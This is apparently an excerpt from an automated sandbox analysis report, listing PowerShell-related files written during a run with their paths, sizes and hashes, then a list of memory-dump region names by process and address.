SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
MD5 SHA1 SHA512

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d17623f3ba80ca3603ea0a05129473793a097ef3f4f2311fa355eb7febfd58ff
MD5 635e5996db28991f9b5105b5bee8fdca
SHA1 65683134b81b1f994f1ceb16e00c979751569e2b
SHA512 09f4062f6dcbd76922a5424055208e8f97f596bd56e4f607a003a5f05f936e6b968909e56b826d0d27a7aad534ccd57746029412d98e03867ecde532de3a3db0
MD5 SHA1 SHA512

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__PSScriptPolicyTest_1pj0gogd.sp2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1pj0gogd.sp2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 3f4cb13b4f1e1fd40d1f554875df908dab5bf3233300214e9572d74c86657da9
MD5 fc1eb5010b6ad55adc66af2a5416b776
SHA1 268d970aae8bbbd076a1c34b41d6c9fbc6ebfe88
SHA512 f707389df8ef9d805da128675dca3dd6ab54cf8b0b271c31fc2f886c096fbb22dc27b5767e2c1c433ad51835f874a9224cb064ea701b54b3d64e381d2fc9a77f
SSDEEP 96:iq3NYqGeHo9xrLRtznEeqKidx4q3qeYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAYtznEeqKidx4q3qtZq6FIzoI
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3490f46ccbf7ed567fde931faa66e8013d1731045a3d4dcee82c2f9f3cac5308
MD5 626ef26345fa2797be2e286c0d21fa78
SHA1 7bd5988cbc7e3339111bc828347ec1629c50d1ab
SHA512 7b74ec6a78e3f885faf77031f2d505a57d748584e5bd222706d91332245e8555e15dde1d860b68656371f5bd813e20d48ec25e8202897fac3af2d90941ef66a4
MD5 SHA1 SHA512

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memory/964-132-0x00007FF71E130000-0x00007FF71E146000-memory.dmp

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memory/964-125-0x00007FF71E130000-0x00007FF71E146000-memory.dmp

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memory/1144-51-0x00007FF8C9CB0000-0x00007FF8CA771000-memory.dmp

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memory/1144-41-0x00007FF8C9CB0000-0x00007FF8CA771000-memory.dmp

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memory/1144-42-0x00000199003C0000-0x00000199003D0000-memory.dmp

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memory/1144-43-0x00000199003C0000-0x00000199003D0000-memory.dmp

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memory/1996-169-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-139-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-126-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-171-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-173-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-175-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-165-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-163-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-161-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-159-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-157-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-155-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-153-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-151-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-149-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-147-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-145-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-143-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-141-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-167-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-137-0x0000017870530000-0x0000017870550000-memory.dmp

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memory/1996-136-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-135-0x0000017870510000-0x0000017870530000-memory.dmp

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memory/1996-177-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-133-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-179-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-131-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-181-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-129-0x0000017870530000-0x0000017870550000-memory.dmp

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memory/1996-128-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-183-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-185-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-123-0x000001786FF00000-0x000001786FF20000-memory.dmp

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memory/1996-119-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/1996-127-0x0000017870510000-0x0000017870530000-memory.dmp

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memory/1996-124-0x00000178704F0000-0x0000017870510000-memory.dmp

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memory/1996-187-0x00007FF70C130000-0x00007FF70C924000-memory.dmp

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memory/2136-62-0x00007FF8C9CB0000-0x00007FF8CA771000-memory.dmp

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memory/2136-76-0x0000020AAAD20000-0x0000020AAAD30000-memory.dmp

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memory/2136-63-0x0000020AAAD20000-0x0000020AAAD30000-memory.dmp

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memory/2136-64-0x0000020AAAD20000-0x0000020AAAD30000-memory.dmp

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memory/2136-75-0x00007FF4D3B10000-0x00007FF4D3B20000-memory.dmp

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memory/2136-74-0x0000020AC4010000-0x0000020AC402C000-memory.dmp

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memory/2136-77-0x0000020AC4030000-0x0000020AC40E5000-memory.dmp

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memory/2136-88-0x00007FF8C9CB0000-0x00007FF8CA771000-memory.dmp

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memory/2136-85-0x0000020AAAD20000-0x0000020AAAD30000-memory.dmp

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memory/2136-82-0x0000020AC4240000-0x0000020AC4248000-memory.dmp

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memory/2136-83-0x0000020AC4270000-0x0000020AC4276000-memory.dmp

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memory/2136-84-0x0000020AC4280000-0x0000020AC428A000-memory.dmp

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memory/2136-81-0x0000020AC4290000-0x0000020AC42AA000-memory.dmp

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memory/2136-80-0x0000020AC4230000-0x0000020AC423A000-memory.dmp

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memory/2136-79-0x0000020AC4250000-0x0000020AC426C000-memory.dmp

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memory/2136-78-0x0000020AC3DC0000-0x0000020AC3DCA000-memory.dmp

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memory/3552-33-0x00007FF8C9CB0000-0x00007FF8CA771000-memory.dmp

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memory/3552-18-0x00007FF8C9CB0000-0x00007FF8CA771000-memory.dmp

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memory/3552-20-0x000001BE33040000-0x000001BE33050000-memory.dmp

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memory/3552-19-0x000001BE33040000-0x000001BE33050000-memory.dmp

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memory/3552-31-0x000001BE33040000-0x000001BE33050000-memory.dmp

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memory/3676-35-0x00007FF765640000-0x00007FF765851000-memory.dmp

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memory/3676-0-0x00007FF765640000-0x00007FF765851000-memory.dmp

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memory/3824-1-0x00000121AE980000-0x00000121AE9A2000-memory.dmp

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memory/3824-12-0x00000121AE9C0000-0x00000121AE9D0000-memory.dmp

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memory/3824-11-0x00007FF8C9CB0000-0x00007FF8CA771000-memory.dmp

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memory/3824-13-0x00000121AE9C0000-0x00000121AE9D0000-memory.dmp

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memory/3824-16-0x00007FF8C9CB0000-0x00007FF8CA771000-memory.dmp

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memory/4156-101-0x00000138BE990000-0x00000138BE9A0000-memory.dmp

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memory/4156-114-0x00007FF8C9CB0000-0x00007FF8CA771000-memory.dmp

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memory/4156-100-0x00007FF8C9CB0000-0x00007FF8CA771000-memory.dmp

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memory/4156-112-0x00000138BE990000-0x00000138BE9A0000-memory.dmp

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memory/4156-102-0x00000138BE990000-0x00000138BE9A0000-memory.dmp

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memory/4968-118-0x00007FF69B6F0000-0x00007FF69B901000-memory.dmp

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memory/4968-52-0x00007FF69B6F0000-0x00007FF69B901000-memory.dmp

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